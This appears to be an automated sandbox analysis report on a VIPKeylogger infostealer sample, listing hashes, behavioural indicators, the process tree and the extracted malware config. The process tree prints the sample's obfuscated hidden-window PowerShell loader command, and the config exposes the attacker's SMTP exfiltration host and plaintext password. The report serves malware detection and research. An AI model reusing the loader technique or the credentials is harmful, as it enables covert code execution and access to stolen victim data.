Analysis
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max time kernel
150s -
max time network
149s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
09-11-2024 03:36
Static task
static1
Behavioral task
behavioral1
Sample
c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
Fiskerettens.ps1
Resource
win7-20240903-en
Behavioral task
behavioral4
Sample
Fiskerettens.ps1
Resource
win10v2004-20241007-en
General
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Target
c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe
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Size
1.2MB
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MD5
cfd68f7d943d702ade1744a68308f0ca
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SHA1
7e7bb8ff7a01ace1cee4b93d087bfad75aaefa0c
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SHA256
c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db
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SHA512
9a198311992a149e0974d2187be2838a3ed969d284e0722e5a3ddb576c80f0d8eaed6b25683f10ffff8ccfb6bcfcc58ae4ce95747ce8c24e8100387f13f3b7e6
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SSDEEP
24576:voqqHmQ2mlKCS22++Gpk3C99ZwYAKImqcSb7CkSE9bXy2pf3zxFTB:voZmQ7N25Gpk3CqvTHcQC3E97xF3zTV
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
Comercialplastico3. - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
pid Process 1872 powershell.exe 4608 powershell.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 30 1600 msiexec.exe 32 1600 msiexec.exe 35 1600 msiexec.exe 37 1600 msiexec.exe 39 1600 msiexec.exe 47 1600 msiexec.exe 49 1600 msiexec.exe 53 1600 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 29 drive.google.com 30 drive.google.com -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 46 checkip.dyndns.org -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 1600 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 4608 powershell.exe 1600 msiexec.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
pid pid_target Process procid_target 2000 1872 WerFault.exe 85 -
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 18 IoCs
pid Process 1872 powershell.exe 4608 powershell.exe 4608 powershell.exe 1872 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 4608 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 1872 powershell.exe 4608 powershell.exe 1600 msiexec.exe 1600 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 4608 powershell.exe -
Suspicious use of AdjustPrivilegeToken 45 IoCs
description pid Process Token: SeDebugPrivilege 1872 powershell.exe Token: SeDebugPrivilege 4608 powershell.exe Token: SeIncreaseQuotaPrivilege 4608 powershell.exe Token: SeSecurityPrivilege 4608 powershell.exe Token: SeTakeOwnershipPrivilege 4608 powershell.exe Token: SeLoadDriverPrivilege 4608 powershell.exe Token: SeSystemProfilePrivilege 4608 powershell.exe Token: SeSystemtimePrivilege 4608 powershell.exe Token: SeProfSingleProcessPrivilege 4608 powershell.exe Token: SeIncBasePriorityPrivilege 4608 powershell.exe Token: SeCreatePagefilePrivilege 4608 powershell.exe Token: SeBackupPrivilege 4608 powershell.exe Token: SeRestorePrivilege 4608 powershell.exe Token: SeShutdownPrivilege 4608 powershell.exe Token: SeDebugPrivilege 4608 powershell.exe Token: SeSystemEnvironmentPrivilege 4608 powershell.exe Token: SeRemoteShutdownPrivilege 4608 powershell.exe Token: SeUndockPrivilege 4608 powershell.exe Token: SeManageVolumePrivilege 4608 powershell.exe Token: 33 4608 powershell.exe Token: 34 4608 powershell.exe Token: 35 4608 powershell.exe Token: 36 4608 powershell.exe Token: SeIncreaseQuotaPrivilege 1872 powershell.exe Token: SeSecurityPrivilege 1872 powershell.exe Token: SeTakeOwnershipPrivilege 1872 powershell.exe Token: SeLoadDriverPrivilege 1872 powershell.exe Token: SeSystemProfilePrivilege 1872 powershell.exe Token: SeSystemtimePrivilege 1872 powershell.exe Token: SeProfSingleProcessPrivilege 1872 powershell.exe Token: SeIncBasePriorityPrivilege 1872 powershell.exe Token: SeCreatePagefilePrivilege 1872 powershell.exe Token: SeBackupPrivilege 1872 powershell.exe Token: SeRestorePrivilege 1872 powershell.exe Token: SeShutdownPrivilege 1872 powershell.exe Token: SeDebugPrivilege 1872 powershell.exe Token: SeSystemEnvironmentPrivilege 1872 powershell.exe Token: SeRemoteShutdownPrivilege 1872 powershell.exe Token: SeUndockPrivilege 1872 powershell.exe Token: SeManageVolumePrivilege 1872 powershell.exe Token: 33 1872 powershell.exe Token: 34 1872 powershell.exe Token: 35 1872 powershell.exe Token: 36 1872 powershell.exe Token: SeDebugPrivilege 1600 msiexec.exe -
Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 3680 wrote to memory of 1872 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 85 PID 3680 wrote to memory of 1872 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 85 PID 3680 wrote to memory of 1872 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 85 PID 3680 wrote to memory of 4608 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 87 PID 3680 wrote to memory of 4608 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 87 PID 3680 wrote to memory of 4608 3680 c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe 87 PID 4608 wrote to memory of 1600 4608 powershell.exe 100 PID 4608 wrote to memory of 1600 4608 powershell.exe 100 PID 4608 wrote to memory of 1600 4608 powershell.exe 100 PID 4608 wrote to memory of 1600 4608 powershell.exe 100 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-3442511616-637977696-3186306149-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe"C:\Users\Admin\AppData\Local\Temp\c9f7cbb4a9e4e0db0e717cd71d3b5e5162544866bc7c74cde42fb9240cf193db.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3680 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Analytique=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Fiskerettens.udk';$Terminaladgang=$Analytique.SubString(53834,3);.$Terminaladgang($Analytique)"2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1872 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1872 -s 23643⤵
- Program crash
PID:2000
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Analytique=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\carinal\Coracosteon\Fiskerettens.udk';$Terminaladgang=$Analytique.SubString(53834,3);.$Terminaladgang($Analytique)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4608 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:1600
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 1872 -ip 18721⤵PID:5056
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
52KB
MD5faf341db23ab218989520cdb488bd287
SHA1dea8d00a028dbf3db1e4dc43c78f4953146a5512
SHA25631986b7f9a99a42e3d59c24fa9a3530f7436f99ed3c7651f04debd3f62c44a89
SHA51299bdfe35735c579102859774c3bd0809858d9628b3691ad4a9955016822139fe96f1921eed5d7dc57350faf6fbb4ba4f820278b04bb22ff88dcfefa2909da79f
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Filesize
333KB
MD5d4d13386bf47d7fdea892ffafc3c8b42
SHA19e8364871a5618d3e481fe93979450b4450d4f07
SHA2568b6551ac3e6a95a424d9be1cb4032c8d72d6771a723245589e2caa51e412ff23
SHA512ae9d94ce9baad0bf22db3f7510855fca31564302263038262f38b3f86915ee64ff9851c5f0e7670a103e6851a1b06ec34071aff12477ca546e4cbb94ada8db31